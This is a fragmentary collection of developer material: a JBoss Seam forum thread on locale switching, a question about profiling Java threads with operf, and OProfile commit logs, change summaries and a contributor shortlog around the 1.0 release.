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Work fine, but for GUI space problem i need to set it on the same button, one click for start ( label "Start" ) and then the second click for stop it ( label "Stop")
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Changing a locale when a user is logged in.Mats Karlsson Mar 11, 2009 10:26 PM
Hello everyone!
I have an application that is pretty much as the default application you get when making a new Seam project in JBoss Developer Studio (a login page and a
main page). At the top I have two flags that calls localeSelector.selectLanguage('en') and localeSelector.selectLanguage('no'). In WEB-INF/classes i have messagesen.properties and messagesno.properties.
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Another thing. If I startup JBoss and change the locale once before I login and then logout and thereafter log back in again with a different user, the locale works fine in the
main page aswell. It is however not possible to get the right texts if I once try to change the locale for the first time in the
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1. Re: Changing a locale when a user is logged in.Sergio Angelo May 4, 2012 11:48 AM (in response to Mats Karlsson)
Hi,
Did you fix this problem already ? Please let me know, since we're having the same problem.
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I solved this problem by raising an event when user loggedIn
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commit a4df631aaa33c13b365d486540397bd0db6ed952
Author: Maynard Johnson <maynardj@...>
Date: Fri Aug 15 10:43:28 2014 -0500
Add new release notes file for 1.0.0
Signed-off-by: Maynard Johnson <maynardj@...>
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commit 8ec9be503aed7061bb26b45a774502aa87453da6
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Date: Fri Aug 15 08:41:09 2014 -0500
Update Alpha EV67 CPU support and remove all other Alpha CPU support
Only the EV67 and later CPUs are supported by the kernel performance
events. Remove all older Alpha CPU support and update EV67 support
to match the kernel implementation.
Signed-off-by: Michael Cree <mcree@...>
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Summary of changes:
doc/oprofile.xml | 4 ---
events/Makefile.am | 4 ---
events/alpha/ev4/events | 18 -------------
events/alpha/ev4/unit_masks | 4 ---
events/alpha/ev5/events | 49 -------------------------------------
events/alpha/ev5/unit_masks | 4 ---
events/alpha/ev6/events | 11 --------
events/alpha/ev6/unit_masks | 4 ---
events/alpha/ev67/events | 29 +++-------------------
events/alpha/pca56/events | 2 -
events/alpha/pca56/unit_masks | 3 --
libop/op_cpu_type.c | 31 ++++++++++++++++++++---
libop/op_cpu_type.h | 4 ---
libop/op_events.c | 5 +---
libop/op_hw_config.h | 12 +++------
libop/tests/alloc_counter_tests.c | 15 -----------
libop/tests/cpu_type_tests.c | 4 ---
libpe_utils/op_pe_utils.cpp | 19 +++++++++++++-
utils/ophelp.c | 4 ---
19 files changed, 54 insertions(+), 172 deletions(-)
delete mode 100644 events/alpha/ev4/events
delete mode 100644 events/alpha/ev4/unit_masks
delete mode 100644 events/alpha/ev5/events
delete mode 100644 events/alpha/ev5/unit_masks
delete mode 100644 events/alpha/ev6/events
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I am trying to profile mapreduce task using operf.
I have some troubles with getting correct symbols of java threads.
What I did was to operf the tasktracker which spawns map and reduce tasks
(threads).
I did like the following to start the tasktracker.
*operf /usr/lib/jvm/java-oracle/bin/java -agentlib:jvmti_oprofile ......*
However, only the tasktracker thread gets the correct symbols for all
addresses. I found that only one ".jo" file is created for the tasktracker,
not the child threads that inherit the tasktracker, such as map and reduce
tasks. All the child threads get "anon".
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commit d9e7545dca1f33a152c882e868904879979a3a3d
Author: Maynard Johnson <maynardj@...>
Date: Thu Aug 14 16:15:18 2014 -0500
OProfile-testsuite, opcontrol version fail fix
Do not fail opcontrol version check if opcontrol is not installed. Do not
print module info if opcontrol is not installed.
Moved the warning message about needing to be root when running
opcontrol to a point after we determine that opcontrol should,
in fact, be run.
If we cannot determine the version of operf or ocount for any
reason, we print a message and exit immediately.
Signed-off-by: Carl Love <carll@...>
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Summary of changes:
testsuite/config/unix.exp | 5 ++-
testsuite/lib/operf_util.exp | 13 ++++-
.../oprofile-opcontrol/oprofile-opcontrol-run.exp | 50 ++++++++++---------
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commit 7b856a6a3b188a0faf8f357b2ae90db7c78c4447
Author: Maynard Johnson <maynardj@...>
Date: Wed Aug 13 10:11:30 2014 -0500
Fix issues identified by Coverity run from Aug 11 2014
Running Coverity against the oprofile source tree resulted
in 8 problems being identified. One issue was dead code
that was originally created for special handling of the
IBM Cell BE processor. Other issues were fairly mundane,
from uninitialized variables to ignoring return values of
functions, etc.
This patch fixes all issues found by Coverity. One particular
change of note, however, is that the sample data format has
changed with the removal of Cell SPU-related fields. This
change required the bumping of the OPD_VERSION number in the
sample file header, so that sample files created with earlier
oprofile builds will no longer be readable by oprofile. The
error reported by oprofile post-profiling tools would be:
oprofpp: samples files version mismatch
Signed-off-by: Maynard Johnson <maynardj@...>
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Summary of changes:
libop/op_config.h | 2 +-
libop/op_cpu_type.c | 12 +-
libop/op_sample_file.h | 4 -
libopagent/opagent.c | 11 ++-
libperf_events/operf_counter.h | 1 +
libperf_events/operf_mangling.cpp | 8 +-
libpp/Makefile.am | 4 +-
libpp/callgraph_container.cpp | 2 +-
libpp/format_output.cpp | 26 +----
libpp/populate.cpp | 7 --
libpp/populate_for_spu.cpp | 166 --------------------------------
libpp/populate_for_spu.h | 42 --------
libpp/profile.cpp | 14 ---
libpp/profile.h | 11 --
libpp/profile_container.cpp | 10 --
libpp/symbol.h | 4 +-
libutil++/Makefile.am | 4 +-
libutil++/bfd_spu_support.cpp | 117 -----------------------
libutil++/bfd_support.h | 3 -
libutil++/op_bfd.cpp | 7 +-
libutil++/op_bfd.h | 18 ----
libutil++/op_spu_bfd.cpp | 188 -------------------------------------
pe_profiling/operf.cpp | 11 ++-
23 files changed, 43 insertions(+), 629 deletions(-)
delete mode 100644 libpp/populate_for_spu.cpp
delete mode 100644 libpp/populate_for_spu.h
delete mode 100644 libutil++/bfd_spu_support.cpp
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commit 84afbb1cf57e1f18d67351fc66da5e01af675f73
Author: Maynard Johnson <maynardj@...>
Date: Tue Aug 12 14:44:50 2014 -0500
Minor cleanups to remove references to oprofile daemon
Signed-off-by: Maynard Johnson <maynardj@...>
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Summary of changes:
libpp/profile.cpp | 6 +++---
libpp/profile_spec.cpp | 8 +++++++-
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commit 1aeadcaee2f4c94d16c693548b6f40f4acdef21f
Author: Maynard Johnson <maynardj@...>
Date: Tue Aug 12 14:13:02 2014 -0500
Minor cleanups to remove references to opcontrol
Signed-off-by: Maynard Johnson <maynardj@...>
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Summary of changes:
libop/op_config.h | 2 +-
libop/op_cpu_type.c | 6 ++++--
libop/op_events.c | 4 ++--
pe_counting/ocount.cpp | 7 ++++---
pe_profiling/operf.cpp | 14 ++++++--------
utils/ophelp.c | 9 +++++----
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commit 2d60e8a980bbbaa62aeb1346827592092bc0743e
Author: Maynard Johnson <maynardj@...>
Date: Tue Aug 12 11:18:25 2014 -0500
operf main process improperly killing conversion process
Unless operf is run with --lazy-conversion, a separate process (the
a 5 second timeout begins, waiting for operf_read_pid
to finish its conversion. If it has not completed in 5 seconds, we kill the
operf_convert_pid!
Having a hard-coded timeout was a bad idea; we should always allow the
conversion process to finish. It should eventually read all the data from the
pipe and then detect that the write has closed the pipe. At that point,
it will exit on its own.
This patch changes the name of the _kill_operf_read_pid() function to
_waitfor_operf_read_pid(), and modifies its behavior to simply wait for
the read process to finish and check its exit status. The conversion
process has been slightly modified so that, when it's in post-profiling
conversion phase, it will print a "." every 1 million records processed
to show its progress.
Signed-off-by: Maynard Johnson <maynardj@...>
Reported-by: Andrew Haley <aph@...>
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Summary of changes:
libperf_events/operf_counter.cpp | 31 +++++++++--
libperf_events/operf_counter.h | 7 ++-
pe_profiling/operf.cpp | 112 +++++++++++++++-----------------------
3 files changed, 74 insertions(+), 76 deletions(-)
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commit 14ad1f5c5531ef70db4b347ef0f20ee0d2c73773
Author: Carl Love <cel@...>
Date: Mon Aug 11 13:17:07 2014 -0500
OProfile 1.0 test suite, Fix calls to opcontrol
Operf and ocount make calls to opcontrol to make sure the daemon is shut down,
clear out any existing samples etc. Starting with version 1.0, the
opcontrol command no longer exists. This patch will ensure that operf and
ocount do not make any calls to opcontrol if the command does not exist.
The opcontrol test suite currently checks if opcontrol exists and exits if
it doesn't exist. This test suite needs just to set the opcontrol_installed
variable to 0 in the case that opcontrol isn't installed so the exit routine
will not call opcontrol --deinit.
Signed-off-by: Carl Love <cel@...>
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Summary of changes:
testsuite/config/unix.exp | 3 +-
testsuite/lib/op_util.exp | 14 ++++++++
testsuite/oprofile-ocount/ocount-run.exp | 21 +++++++++++-
.../oprofile-opcontrol/oprofile-opcontrol-run.exp | 34 +++++++++----------
testsuite/oprofile-operf/oprofile-operf-run.exp | 35 ++++++++++++++++---
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Date: Mon Aug 11 13:08:46 2014 -0500
OProfile manpage cleanups for release 1.0
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doc/oprofile.1.in | 20 ++++++++++++++++----
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commit 058793c4ac692c5c8e0c0f997df379c23b167ace
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Date: Mon Aug 11 12:54:55 2014 -0500
Fix up S390 support to work with operf/ocount
Signed-off-by: Maynard Johnson <maynardj@...>
Acked-by: Andreas Arnez <arnez@...>
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Summary of changes:
events/s390/z10/events | 5 +++--
events/s390/z196/events | 2 +-
events/s390/zEC12/events | 5 +++--
libop/op_events.c | 2 +-
libpe_utils/op_pe_utils.cpp | 19 +++++++++++++++++++
libperf_events/operf_counter.cpp | 8 +++++++-
pe_counting/ocount_counter.cpp | 11 +++++++++--
7 files changed, 43 insertions(+), 9 deletions(-)
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commit 0d1a8a5caaa978c7d26a4e2185e7fa81655b0fbf
Author: Suravee Suthikulpanit <Suravee.Suthikulpanit@...>
Date: Mon Aug 11 11:50:43 2014 -0500
x86-64/ibs: Remove AMD IBS events due to missing support in operf
Currently, operf/ocount do not support AMD IBS events (since it is
only supported in the deprecated opcontrol). Therefore, these
events are removed for now.
Signed-off-by: Suravee Suthikulpanit <Suravee.Suthikulpanit@...>
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events/x86-64/family10/events | 78 ++----------------------------------
events/x86-64/family10/unit_masks | 9 ++--
events/x86-64/family12h/events | 69 ++------------------------------
events/x86-64/family12h/unit_masks | 14 ++-----
events/x86-64/family14h/events | 69 ++------------------------------
events/x86-64/family14h/unit_masks | 14 ++-----
events/x86-64/family15h/events | 69 ++------------------------------
events/x86-64/family15h/unit_masks | 15 +------
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Remove@...>
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Summary of changes:
Makefile.am | 2 -
README | 25 +-
configure.ac | 80 -
daemon/.gitignore | 4 -
daemon/Makefile.am | 57 -
daemon/init.c | 374 -----
daemon/liblegacy/.gitignore | 4 -
daemon/opd_anon.c | 228 ---
daemon/opd_anon.h | 54 -
daemon/opd_cookie.c | 210 ---
daemon/opd_cookie.h | 39 -
daemon/opd_events.c | 189 ---
daemon/opd_events.h | 47 -
daemon/opd_extended.c | 195 ---
daemon/opd_extended.h | 94 --
daemon/opd_ibs.c | 837 -----------
daemon/opd_ibs.h | 133 --
daemon/opd_ibs_macro.h | 397 -----
daemon/opd_ibs_trans.c | 634 --------
daemon/opd_ibs_trans.h | 35 -
daemon/opd_interface.h | 48 -
daemon/opd_kernel.c | 229 ---
daemon/opd_kernel.h | 43 -
daemon/opd_mangling.c | 213 ---
daemon/opd_mangling.h | 33 -
daemon/opd_perfmon.c | 522 -------
daemon/opd_perfmon.h | 106 --
daemon/opd_pipe.c | 99 --
daemon/opd_pipe.h | 45 -
daemon/opd_printf.h | 37 -
daemon/opd_sfile.c | 751 ----------
daemon/opd_sfile.h | 119 --
daemon/opd_spu.c | 176 ---
daemon/opd_stats.c | 92 --
daemon/opd_stats.h | 32 -
daemon/opd_trans.c | 354 -----
daemon/opd_trans.h | 86 --
daemon/oprofiled.c | 532 -------
daemon/oprofiled.h | 69 -
doc/Makefile.am | 2 -
doc/opannotate.1.in | 15 +-
doc/oparchive.1.in | 17 +-
doc/opcontrol.1.in | 198 ---
doc/operf.1.in | 18 +-
doc/opgprof.1.in | 13 +-
doc/ophelp.1.in | 3 -
doc/opimport.1.in | 4 +-
doc/opreport.1.in | 15 +-
doc/oprof_start.1.in | 43 -
doc/oprofile.1.in | 22 -
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events/avr32/events | 27 -
events/avr32/unit_masks | 4 -
events/ia64/ia64/events | 3 -
events/ia64/ia64/unit_masks | 4 -
events/ia64/itanium/events | 5 -
events/ia64/itanium/unit_masks | 4 -
events/ia64/itanium2/events | 267 ----
events/ia64/itanium2/unit_masks | 465 ------
events/ppc64/cell-be/events | 517 -------
events/ppc64/cell-be/unit_masks | 137 --
events/ppc64/ibm-compat-v1/event_mappings | 82 --
events/ppc64/ibm-compat-v1/events | 91 --
events/ppc64/ibm-compat-v1/unit_masks | 9 -
events/ppc64/pa6t/event_mappings | 48 -
events/ppc64/pa6t/events | 52 -
events/ppc64/pa6t/unit_masks | 4 -
events/rtc/events | 3 -
events/rtc/unit_masks | 4 -
gui/.gitignore | 7 -
gui/Makefile.am | 43 -
gui/oprof_start.cpp | 1094 --------------
gui/oprof_start.h | 170 ---
gui/oprof_start_config.cpp | 104 --
gui/oprof_start_config.h | 56 -
gui/oprof_start_main.cpp | 37 -
gui/oprof_start_util.cpp | 324 -----
gui/oprof_start_util.h | 39 -
gui/ui/.gitignore | 6 -
gui/ui/Makefile.am | 24 -
gui/ui/oprof_start.base.ui | 1190 ---------------
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libop/op_alloc_counter.c | 61 +-
libop/op_config.c | 11 -
libop/op_config.h | 31 -
libop/op_cpu_type.c | 69 +-
libop/op_cpu_type.h | 35 +-
libop/op_events.c | 82 +-
libop/op_events.h | 10 -
libop/op_get_interface.c | 29 -
libop/op_interface.h | 87 --
libop/op_parse_event.c | 11 -
libop/op_xml_events.c | 15 -
libop/tests/cpu_type_tests.c | 4 -
libpp/op_header.cpp | 26 +-
libpp/profile_spec.cpp | 5 +-
m4/Makefile.am | 1 -
m4/cellspubfdsupport.m4 | 52 -
m4/qt.m4 | 225 ---
opjitconv/create_bfd.c | 1 -
opjitconv/jitsymbol.c | 1 -
opjitconv/opjitconv.c | 7 +-
opjitconv/opjitconv.h | 8 +
opjitconv/parse_dump.c | 1 -
pe_counting/ocount.cpp | 12 +-
pe_profiling/operf.cpp | 10 +-
pp/common_option.cpp | 2 +-
pp/oparchive_options.cpp | 4 +-
utils/Makefile.am | 1 -
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utils/ophelp.c | 80 +-
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Last commit point with opcontrol
Aaro Koskinen (1):
configure: fix test-for-synth check with GCC 4.9.0
Alan Modra (1):
Tidy powerpc64 bfd target check
Andi Kleen (16):
Remove the latency_above_... event for Westmere which requires setting special MSRs that oprofile doesn't support.
This patch adds the infrastructure to add extra flags for a unit mask
This patch allows to specify unitmasks by name (first word in the unit
Avoid extra spaces printed in individual small wordwraps. This fixes
Implement the ANY (any thread) extra bit for Intel CPUs. Needed
This adds the event list for Intel IvyBridge and the model number
Add the Haswell client event lists and model numbers
Add EXTRA_NONE flag for use with unit masks empty "extra:" field
Add empty extra: lines to every Intel event with a unique first word
Use names to make all non-unique Intel default unit masks unique
Add some missing Haswell model numbers
Add support for Intel Silvermont processor
Add oprofile support for Broadwell microarchitecture
Fix some problems in the Broadwell events
Improve error message for non-unique unit mask
Update the Haswell events to the latest version
Andreas Arnez (1):
Determine s390 cpu type from /proc/cpuinfo for operf/ocount
Andreas Krebbel (4):
S/390: Enhance the user space tools for System z hardware sampling
Fix mis-spelling of S390_HW_SAMPLER_BUFSIZE variable
Fix up s390 implementation to match what was accepted upstream in the kernel
Add support for IBM zEnterprise EC12 (zEC12)
Antonio Rosales (1):
Fix compile error on Ubuntu 12.10
Breno Leitao (2):
New man page for operf command.
Add the new operf.1.in file for the new operf man page
Carl Love (12):
operf: print lost sample warning only if lost samples exceeds threshold
Oprofile, opreport: fix to pass string of options from opannotate to objdump
Oprofile, operf: Expanded error message when running multiple operf sessions
Oprofile operf: Fix the code to strip the _GRP## from the event name
operf, add throttling and multiplexing stats
operf, remove support to report multiplexing.
OProfile, fix the units for the reported CPU frequency
Ocount, print the unit mask, kernel and user modes if specified for the event
Duplicate event specs passed to ocount show up twice in output
Add support for getting the Kernel symbols from /proc/kallsyms
Fix kallsyms support for callgraph and debug-info opreport options
opreport: header timestamps are different for kallsyms file
Changbin Park (1):
Ensure parsed_filename's jit_dumpfile_exists variable is initialized before use
Daniel Hansel (7):
JIT support (for profiling Java applications) added
JIT support
Fixed call of execvp() to execute opjitconv if it is installed in a custom directory (option "--prefix")
Changed license of JVMPI agent from GPL v2 to LGPL v2.1
Fix memory leak according to opening opd_pipe
Fix memory leak according to opening opd_pipe (added missing changes)
Change location to store intermediate JIT dump files
Dave Jones (39):
* pp/oprofpp.c: use EXIT_FAILURE | EXIT_SUCCESS in exit() calls.
Oops. Missed these ones.
Film at 11: Programmer updates documentation.
Update ignorance list.
op_help was printing out...
Hmm, oprofpp needs to support 4 counters where available.
Update so that it doesn't say Intel only.
remove op_start (Will re-add in a minute to see if it'll become +x)
Executable bit on op_start set.
oops, forgot yesterdays changelog
Point Athlon users at the Athlon docs instead of Intel ones.
This never happened. Mmkay ?
Change MSR defines from MSR_IA32_xxx from MSR_P6_xxx, based on info on
Add missing cvsignores
Add recognition for alternative PIII string.
Fix PPro recognition.
* Makefile.in: Make documentation build again.
Readd to CVS.
* pp/op_time.cpp: fix for printing (NaN%) in the zero sample case.
We can pretend an AMD Hammer in 32bit mode is an Athlon.
Improved cpu detection.
tiny cleanup
libop/op_events.c: Add x86-64 specific events.
libop/op_events.c: Add unit mask for Hypertransport events.
s/HT cache/HT/
K8 HT events are utm_exclusive, not utm_bitmask
Add additional K8 unit masks.
* libop/op_cpu_type.c: Clue the user in on why the cpu type isn't
* libop/op_events.c: Doh, unit masks use bit numbers, not values.
* utils/opcontrol: Trying to use the options --pid-filter=pid and
* module/x86/op_model_athlon.c: Don't poke reserved bits in the counter.
* libop/op_events.c: segregload is utm_mask not utm_exclusive
Reenable building for hammer.
* module/x86/op_apic.[c|h]: move NMI gate setup to architecture
remove dupe minimum tag
* oprofile/module/x86/op_nmi.c: Fix another possible race condition.
Remove stale debug code from yesterdays commit.
* events/x86-64.hammer.events:
Check for APIC on Athlon before enabling it.
Gergely Kis (1):
Detect MIPS CPUs based on the "cpu model" field of /proc/cpuinfo
Gilles Allard (3):
Fix for oprof_start when daemonrc file does not exist
Don't show irrelevant bits in unit mask sub-window
Fix size problem of oprof_start GUI
Graydon Hoare (8):
reviewed and okayed by Philippe Elie (with comments added)
patch okayed by John Levon, Philippe Elie
[ ChangeLog ]
[ ChangeLog ]
[ ChangeLog ]
[ ChangeLog ]
check bitmasks as well as exclusive values, for unit masks
Handle printing multiple bitmask values
Joakim Tjernlund (1):
Print correct clock speed when using timer mode
John L. Villalovos (1):
Patch to add support for Westmere-EX processor.
John Levon (1286):
CVS Import
Fixed max buffer size with kmalloc().
Deleted unused file
Write out mapping information.
Add sprofile.s target
Removed duplicate target.
Use -march=pentiumpro option.
Use "asmlinkage"
Add thread exit semaphore.
Implement new mmap-based design in daemon.
Removed cruft from repository
mknod at the correct place.
Hack for binary loader OP_DROP notification.
Offset kernel/module image entries to allow for "negative" entries.
Minor fixes.
Minor documentation fixes.
recursive make clean
Removed duplicate.
Allow environment $(CFLAGS) if set.
Use "uint".
Use uint/ulong.
Use uint/ulong.
Use uint/ulong.
Removed cp_events.c duplicate.
Removed hack for no sys_execve() capture.
Added $Id$
Removed useless source.
Temp. utility files go elsewhere.
Remove useless sources.
Fix srcdoc target to depend on filename.
Fix broken usage of perror().
Simplified use of opd_handle_kernel_sample().
Use CLONE_* for kernel_thread().
Last bits of pp code.
Better initial hash/buffer size values.
Compare image strings starting from end. Should be faster as most
Added srcdoc script snarfed from kernel.
Use autoconf.
Moved from dae/
Use autoconf
include config.h
Correct location of opd_util.h
Fix LIBS typo.
Added distclean target
install target fixes
Use version.h
Remove duplicate flags.
Fix reading in of footer.
Only use preferred-stack-boundary if available
add HTML source doc files to clean target.
Add source docs.
Merged in aclocal.m4 to configure.in.
No need to inc/dec mm_users.
Check for ld.
Replaced un-necessary u8's with int's.
Replace spinlock with mmap_sem.
Comment fixes.
Support --version/-v.
Subst $(CC)
Remove pointless kernel-as-zeroth-mapping.
Only collect symbols in section with flag SEC_CODE.
Intercept old_mmap().
Fix oprof_output_map().
Code cleanup.
Code cleanup.
Automatically set OP_EXPORTED_DO_NMI.
Add tags target.
Fix to arch check.
Fix oprof_outstr().
Don't export any symbols.
Code cleanups.
Reintroduce necessary map_lock.
Use map_lock in read method for (unlikely ?) clash with oprof_output_map().
Remove debugging code.
Structure order fix.
Get ASCII procs earlier.
Update MODINSTALLDIR for new modutils kernel/ dir.
Increase thread wake up frequency.
Include hash map.
oprof_opened changed to be x86-atomic to fix race possibility.
Use hash map for generating maps. Just dumping
Read from hash map.
Typo fix.
Typo fixes.
Added .cvsignore files.
Added config.*
Atomic exclusive open.
Atomic device open.
Set up hash map device.
Small error message fix.
Fix hashmap type.
Fix hash_map type.
Small fixes.
Disable interrupts for sensitive APIC setup.
Various minor fixes.
Should always output a number into the map buffer, even
Should always output a number into the map buffer, even
Added FIXME comment.
Include watermark to set ready some time before reaching the
One-structure header contains how many samples to read in eip member.
Watermark for out8() as well.
Remove debugging code.
Hike watermark.
Allocate hash_map on module load. Means daemon shouldn't
struct op_sample shouldn't be aligned.
Added FIXME
Fixed silly unit mask typo.
If at read() time, nextbuf hasn't overflowed, it should be
Fix path name construction.
Added FIXME.
module->name not used, so it was removed.
Require CAP_SYS_PTRACE.
Moved variables into .c file !
Clarified opd_map_offset().
Make opd_is_in_map() inline.
Small cleanup.
Add feature to filter on pid or pgrp.
Fix typo.
Cleanup hash_access() macro.
Small tidyup.
Forgot unlock of map_lock.
Stop profiling if module is loaded.
Read mappings on OP_DROP.
Clarify code.
Cleanup printing of counter details.
OP_DROP was a terrible name !
Debugging output fix.
Add debugging output.
Fix offset calculation.
Update documentation.
Fix offset.
Small cleanups.
Ignore crufty symbols.
Should read from map device even on failure path.
Remove debugging code.
Check CAP_SYS_PTRACE capability on read().
Added debugging code.
Use vmalloc()/vfree().
Increase watermark.
Add a process even on error paths.
Debugging output.
Added FIXME for those who change PAGE_OFFSET.
Comment fix.
Temporary hack on module unload race.
Use dprintf().
Use oprof_ready rather than global variable mapbuf_wakeup.
Correctly offset kernel samples.
Signal every 10 minutes not 20.
flush stdout after printing stats.
Increase default buffer + hash table sizes
Implement process list hash.
Only copy some of the buffer into userspace.
Fiddle with parameters.
Install in all-new modules location.
Up pre-watermark.
Fix reporting of map array depth.
Only use bfd when it is opened properly.
Add facility to specify binary image.
Fix kernel image offset handling.
To get working results on a multi-section file, we need to sort
Add chmod's.
Cleanups.
Cleanup for --help option.
Use ioctl().
Print sample percentages correctly.
To do list.
Make list_symbol output more like other things.
Updated.
Started some documentation.
More updates.
#define -> enum
Expand um descriptions a little.
Module is not unloaded anymore, there is an ioctl() interface.
Added comments, added FIXMES to check.
Slight fixes to srcdocs.
Various cleanups.
make dist
Update COPYING.
Introduce sysctl, various other changes.
oprofpp -l /bin/mv and friends.
Added website address.
update docs, change default source directory to use /lib/modules/`uname -r`/build
Some small cleanup and allowing for UP NMI oopser.
See ChangeLog
New mapping rework, several important bug fixes
Started results directory.
Increase watermark
Small fixes, results stuff
update docs
Use strcpy not strncpy in do_hash().
sync with the 24/1 - more updates to come.
compile with -march, full clean sysctl, various fixes + improvements
non-recursive do_hash(), minor fixes, more results
gprof output working, add md5sum stuff, re-write docs and add manpage
add URLs
fix docbook
work with 2.4.3, remove forced dumping when quiet
bump version to 0.0.4
fix indentation.
fix shell script when no parameters passed,
unit mask fixes from Philippe
remove libiberty header include
add philippe's prototype tcl interface
don't output logfile message on stderr
fix CONFIG_MODVERSIONS
op_start, tcl/tk fixes, new output options for oprofpp
added latex run results
unit mask fix for mmx from philippe, also better um description code.
fix previous fix from philippe from philippe
fixes for theoretical memory leaks on failure, s/sourceforge/sf/
make unloadable module possible.
edge detect and footer expansion patches, small fix for unload option
spacing and dead code fixes
always have smp_apic_restore()
update readme
oprof_convert added.
cvs ignore fix
philippe bugfixes, remove rmmod in op_stop
warnings fixes, malloc attribute, remove broken line
bug fix and gui improvements from philippe
more tcl updates, hide malloc compiler warnings
add the source annotater !
commit silly fixes
clarify vmlinux, remove generated files from CVS
fix dist bug
docs from philippe, and oprofile gui fixes
small docs fixes from philippe
several clean ups and bugfixes from philippe
back up old sample files if the profiling details don't match
update
remove ability to have different values on different CPUs. I probably missed some
docs on not setting silly counter reset values
extra bit of warning docs stuff
philippe: event count value minima, separate values for gui, small op_start fix
filter patch from philippe
fix to bug reported by Bob Montgomery, use mtime not md5
path canonicalisation patch
enable unload and filter unconditionally.
small fixes and v4 convert support. Philippe, please test/check my convert
philippe's fix for me vomiting all over the tree, plus small beautifications
tentative fix for no-symbol modules case
include right header, small install fix
whitespace changes
whitespace
convert fix
fix introduced memleak
bad module unload problems fixed, small fixes elsewhere
small tidy
compile fixes
use cli/sti instead of explicit masking for installing the NMI. Hopefully
small corner case fix when we miss a sample against a full count entry
support 2.4.7 and above
I got bored of typing echo 1 >/proc/sys/dev/oprofile/dump ...
argh, versioning nightmare with complete_and_exit
2.4.8 still has up_and_exit
masking again during set_gate
fixes to the hash map !
last minute file leak patch from philippe
make install fix
bump version
use op_dump
qm.diff
small fix
uninstall patch from philippe
symbolic changes from philippe. lots of stuff TODO ;)
the athlon patch. more work needed, but it works. Thanks Dave !!
recognise celerons in cpu type
mptable parse
philippe's huge patch
philippe's patch
remove bogus code
small improvement to op_dump
don't unload on SMP
fix for lvtpc_apic_restore
doc tidies
s/CPU_TYPE/CPUTYPE in op_start
a couple of fixes
philippe's cleanup, and several fixes from me.
extra sanity checks in op_start
fix core dump
pedantry
cpu type detection fixes, irq stats
move some code, remove some stale comments
fix race leading to oops !
code tidies
post-prof fixes for 4 counters, and some other changes.
two small changes
some pp cleanup
add missing files
autoconfiscation for Qt2
couple of bug fixes, fix mtime and changed binary issue (I doubt the over
doc fixes, implement image hashing in daemon
as far as I've got with the re-jig so far. Philippe, sorry, I've trampled over
more gui changes - I moved the _impl file into oprof_start.cpp as I didn't
nothing interesting ...
.cvsignores
nothing interesting ...
d'oh !
gah !
likely/unlikely support. needs fixing and testing with pre13
Small fixes + big GUI update.
some gui tidy.
fork/exec for children in the GUI
some more tidying
boring little cleanup
2.4.10 support.
small cleanup
build fixes.
robustness for script a little more
remove tcl gui
temp fix for compile error. philippe - iterator on std::vector<const char *> is not same as const char **
Fix silly bug. Dave, can you try again ?
more robust
whoops
argh !
never mention this to me, or I will die of shame.
fix is_profiler_started
use pidof instead
pidof not /sbin/pidof
minor fixes
flashy GUI stuff. or something.
speed improvements
rename to oprofpp.cpp
per-counter config for GUI. Please test for corner cases I missed.
fix GUI crash
avoid temp files
fixes for g++ 3.0
various fixes.
add email address at request
verbose support
bump version for release
two small fixes
some little more fixes
add AC_FIND_FILE back
temp remove broken test
update TODO
fix config bug :P
last fix, forever :)
more build fixes. Are we ready for a release ?
changes to filtering. Philippe, what do you think ?
-> 0.0.6
remove extra debug line
0.0.7cvs (0.0.6 has been tagged as RELEASE_0_0_6)
string pool
no kernel thread
use a separate map buffer.
fix for likely()/unlikely()
whoops, missed a bit
cleanup - /bin/rm -rf /root/.oprofile !
mandrake workaround #1 - please test on kernels 2.4.8 and below if you have
save/restore msr values on load/unload
man fix, msr restore fix
another mandrake work around - please check configure still works
typo
some fixes from H.J. Lu
$DESTDIR support
use $(LD)
detect laptops.
build re-org
add notice about broken sysctl API
move tests changelog over
fix nr_interrupts to actually do something ;)
allow_unload on UP
fix error message
test for and use hard_get_current().
fail if hard_get_current() exists
change to 0.0.7 - no patches now please !!!
fixes for release
mark 0.0.8cvs
bob's fix
update to do a little
some fixmes
pedantic bastard ...
whoops !
minor changes, Michel's patch
move config.h.in to maintainerclean
deps files in .deps - Philippe please check
use enum op_cpu for cpu type
little extra fix
doc fix
sigusr1 stuff
remove config.h.in - run ./autogen.sh again
whoops ! enable profiling again :P
improve docs
allow EAGAIN through read_device ...
oops fix for note_pos
remove the two config buttons, save on WM hide
more updates/reorg etc.
pin note pos to end on overflow. more wakeups are caused now in this case,
new iteration of clean stop code. hopefully this one is OK.
shutdown hang fix. print stats on exit
minor crap
remove extra dump
little fixes, slight re-org
change the partial_stop change. Phil, look please, if things are still wrong
minor cleanups
cleanups changelog
dump stop fixes
add security FIXME
future fixme...
loop waiting for start/stop ...
add fixme
update TODO
gcc 3.0 and std:: - incomplete ...
disable pednatic in util/ to allow compile. It will do ...
fix small configure problem, bump to 0.0.8 - don't apply anything :)
0.0.9cvs !
fixes to compile on 2.4
add FIXME for 2.2 support
little changes to allow build ...
add fixme
minor fixes
clean up dcache. Some pretty major changes with regard to 2.2 and
remove kernle header s from userland
add doc for --with-linux
absolute paths
update todo
Fix problem with op_dump shuttting down oprofiled.
FIXMEs
whitelist arugments
rotate changelog for philippe
add reference to older changelog
fix defaults
OK, step #1 to RTC interrupts. Each type of interrupt is hidden behind a
RTC patches #2. This gets the RTC working with a fixed value. Set FORCE_RTC
rtc round #3
fix
remove unneede check
fix op_start && op_stop
nothing to see here, move on please ...
some more RTC improvements.
fix build
fix RTC build for 2.2
modversions + 2.2 fix for RTC
disable 2.2 SMP compile for now.
split headers, little cleanup
->owner fixes
x 2.2 build, rtc kernel/user, 2.2 NMI wake_up fix (maybe)
fix ->owner problem, thanks phil
split NMI asm code. phil, please look carefully. I've checked 2.4 still doesn't
bump note size + watermark
use bkl around execve
fix deadlock on 2.2 SMP
remove superfluous BKL lock
sorry everyone ...
remove this...
see changelog, nothing interesting
remove broken code for now..
MSR check and 2.2 SMP fixes.
missed to commit thi
missing changelogs.
wake up fixes, minor clean
missing cli thanks phil
APIC / fixmap changes. Phil, this is slightly different from the one
one more small fix
depmod fix..
pte_page fix
phile, I punted some more things out from this release - complain if you don't like something ...
fix remap problem simply
boring
hacky output cleanup
gcc 3.0 fixes - phil please look !
2.2 remap fix
oopsable bug spotted by Bob !
bump to 0.0.9 - no commits.
bump version to 0.1cvs
boring
sysctl fix
rtc patch from bob
whhoops, wrong version committed...
boring changes
readability
finish previous commit
thoroughly untested map/note lock changes
local symbols allowed
update todo
minor. OK Phil fix those bugs I asked you about and we're ready to roll right ?
remove pedantic
bump version, fix gcc3
open tree again, update TODO
Fix build. a couple of the things we need to do for oprof_report
some laptops work in proper mode ...
comment fix to reflect situation with binutils
